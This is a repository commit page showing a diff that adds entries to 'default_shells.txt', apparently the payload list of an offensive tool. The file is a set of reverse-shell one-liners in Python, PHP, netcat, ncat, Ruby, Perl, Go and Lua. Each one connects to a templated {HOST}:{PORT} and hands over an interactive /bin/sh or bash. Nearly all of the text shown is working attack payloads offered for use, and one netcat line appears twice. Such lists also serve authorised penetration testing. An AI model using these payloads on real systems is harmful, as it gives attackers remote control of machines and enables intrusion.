Skip to content

Commit

Permalink
Added new payloads
Browse files Browse the repository at this point in the history
  • Loading branch information
jackrendor committed Sep 24, 2020
1 parent ed482cc commit fdb6df4
Showing 1 changed file with 5 additions and 1 deletion.
6 changes: 5 additions & 1 deletion default_shells.txt
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,10 @@ python subrpocess | python -c 'import socket,subprocess,os;s=socket.socket(socke
python3 subrpocess | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{HOST}",{PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php sh | php -r '$sock=fsockopen("{HOST}",{PORT});exec("/bin/sh -i <&4 >&4 2>&4");'
nc -e | nc -e /bin/sh {HOST} {PORT}
nc -c | nc -c bash {HOST} {PORT}
ncat -e | ncat {HOST} {PORT} -e /bin/bash
ruby | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("{HOST}","{PORT}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
perl | perl -e 'use Socket;$i="{HOST}";$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
nc workaround | touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {HOST} {PORT} > /tmp/f
nc workaround | touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {HOST} {PORT} > /tmp/f
golang | echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","{HOST}:{PORT}");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
lua | lua -e "require('socket');require('os');t=socket.tcp();t:connect('{HOST}','{PORT}');os.execute('/bin/sh -i <&3 >&3 2>&3');"

0 comments on commit fdb6df4

Please sign in to comment.